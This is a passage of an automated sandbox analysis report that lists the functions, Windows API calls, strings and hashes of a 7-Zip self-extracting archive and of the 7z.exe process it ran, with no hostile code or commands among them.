Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT ref: 00412770
memcpy.MSVCRT ref: 00412799
??3@YAXPAX@Z.MSVCRT ref: 004127A4

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT ref: 0040445E
??3@YAXPAX@Z.MSVCRT ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT ref: 0040447E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

7-Zip SFX, xrefs: 00404750
Could not allocate memory, xrefs: 00404755

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 2140, Parent PID: 3548COMMON

Executed Functions

Function 00C88817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C88826
GetStdHandle.KERNEL32 ref: 00C8887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 00C8888E
_CxxThrowException.MSVCRT ref: 00C889BD

Strings

Formats:, xrefs: 00C88CC7
7-Zip cannot find the code that works with archives., xrefs: 00C88A54
Unsupported archive type, xrefs: 00C88AAD, 00C88BB8
, xrefs: 00C88FD6
Libs:, xrefs: 00C88C5B
Hashers:, xrefs: 00C892B6
KSNFMGOPBELH, xrefs: 00C88CDC, 00C88D4A
offset=, xrefs: 00C88ECF
|| , xrefs: 00C88F0B
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C8881F
Can't load module: , xrefs: 00C88A04
Codecs:, xrefs: 00C8903E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction ID: 57c7ac62948d0224a9096201bad00950401ceb9bf83602da71425930ebc415ae
Opcode Fuzzy Hash: afb9cc6d2aba557fd5c28d6c75725cc50b14ac0dfada8b8986538d3579b498c0
Instruction Fuzzy Hash: F372C472314A8186DB34FF25E4903AE7361F789B84F809126DB9A47B68DF3CC949DB44

Function 00C624C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C626E4
free.MSVCRT ref: 00C626EF
free.MSVCRT ref: 00C6274F
free.MSVCRT ref: 00C6275A
free.MSVCRT ref: 00C627FF
free.MSVCRT ref: 00C62807
free.MSVCRT ref: 00C62818
free.MSVCRT ref: 00C62826
free.MSVCRT ref: 00C62831
free.MSVCRT ref: 00C62869
free.MSVCRT ref: 00C62871
free.MSVCRT ref: 00C62882
free.MSVCRT ref: 00C62951
free.MSVCRT ref: 00C6295C
free.MSVCRT ref: 00C62A36
free.MSVCRT ref: 00C62A3E
free.MSVCRT ref: 00C62A52
free.MSVCRT ref: 00C62A6C
free.MSVCRT ref: 00C62A77
free.MSVCRT ref: 00C62B8F
free.MSVCRT ref: 00C62B97
free.MSVCRT ref: 00C62BA8
free.MSVCRT ref: 00C62BB6
free.MSVCRT ref: 00C62BC1
free.MSVCRT ref: 00C62C12
free.MSVCRT ref: 00C62C1D
free.MSVCRT ref: 00C62C30
free.MSVCRT ref: 00C62C3B
free.MSVCRT ref: 00C62C4E
free.MSVCRT ref: 00C62C59
free.MSVCRT ref: 00C62C6C
free.MSVCRT ref: 00C62C77
free.MSVCRT ref: 00C62CA7
free.MSVCRT ref: 00C62CAF
free.MSVCRT ref: 00C62CBB
free.MSVCRT ref: 00C62CC9
free.MSVCRT ref: 00C62CD4
free.MSVCRT ref: 00C62D10
free.MSVCRT ref: 00C62D18
free.MSVCRT ref: 00C62D29
free.MSVCRT ref: 00C62D37
free.MSVCRT ref: 00C62D42
free.MSVCRT ref: 00C62E6E
free.MSVCRT ref: 00C62E79
free.MSVCRT ref: 00C62EA6
free.MSVCRT ref: 00C62EB1
free.MSVCRT ref: 00C62F03
free.MSVCRT ref: 00C62F0E
free.MSVCRT ref: 00C62F97
free.MSVCRT ref: 00C62F9F
free.MSVCRT ref: 00C62FAD
free.MSVCRT ref: 00C62FC2
free.MSVCRT ref: 00C62FCD
free.MSVCRT ref: 00C6300C
free.MSVCRT ref: 00C63017
free.MSVCRT ref: 00C63027
free.MSVCRT ref: 00C63032
free.MSVCRT ref: 00C63042
free.MSVCRT ref: 00C6304D
free.MSVCRT ref: 00C6305E
free.MSVCRT ref: 00C631EB
free.MSVCRT ref: 00C631F6
free.MSVCRT ref: 00C6321C
free.MSVCRT ref: 00C63227

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

free.MSVCRT ref: 00C6325A
free.MSVCRT ref: 00C63262

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C63270
free.MSVCRT ref: 00C6329E
free.MSVCRT ref: 00C632A6
free.MSVCRT ref: 00C632D9
free.MSVCRT ref: 00C632E1
free.MSVCRT ref: 00C632F1
free.MSVCRT ref: 00C633E5
free.MSVCRT ref: 00C63445
free.MSVCRT ref: 00C63455
free.MSVCRT ref: 00C63464
free.MSVCRT ref: 00C63472
free.MSVCRT ref: 00C63490
free.MSVCRT ref: 00C6349E
free.MSVCRT ref: 00C634BC
free.MSVCRT ref: 00C634CA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction ID: cf36599910e6899676e2b1a88bc19655bd789c47a29d5a49a3ac63102c44726e
Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction Fuzzy Hash: 58826E32618AC086CB30EF26E4913AEB360FBC5B90F545126EB9D57B59DF78C946DB00

Function 00C647AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

